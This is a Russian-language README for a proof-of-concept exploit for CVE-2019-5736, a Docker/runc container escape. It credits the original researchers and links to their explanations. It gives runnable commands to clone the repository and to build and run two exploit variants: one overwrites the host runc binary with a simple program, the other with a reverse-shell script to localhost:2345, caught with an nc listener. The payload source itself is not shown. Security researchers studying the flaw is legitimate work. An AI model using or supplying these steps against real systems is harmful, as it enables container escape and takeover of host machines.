
Эксплойт-доказательство концепции для CVE-2019-5736, демонстрирующий побег из контейнера через перезапись бинарного файла runc с помощью exec и полезных нагрузок вредоносного образа.
Видео: https://bit.ly/2WqvILb
Статья в блоге: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
Здесь я хотел бы упомянуть, что оригинальный разработчик этого эксплойта — Юваль Авраами (Yuval Avrahami) из Twistlock Labs.
Обратите внимание: запуск POC приведет к перезаписи бинарного файла runC на хосте.
Настоятельно рекомендуется сделать копию вашего бинарного файла runC (обычно находится в /usr/sbin/runc) перед запуском одного из POC.
Клонируйте репозиторий:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
Перезаписывает runc простой программой, которая выводит строку.
Запуск exec POC:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Перезаписывает runc простым bash-скриптом обратной оболочки, который подключается к localhost:2345.
Прослушивание обратной оболочки:
$ nc -nvlp 2345
Из другой оболочки запустите POC вредоносного образа:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
См. [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Объяснение CVE-2019-5736") для объяснения CVE-2019-5736 и POC.
POC вредоносного образа во многом основан на [POC от q3k](https://github.com/q3k/cve-2019-5736-poc), поэтому вся заслуга принадлежит ему.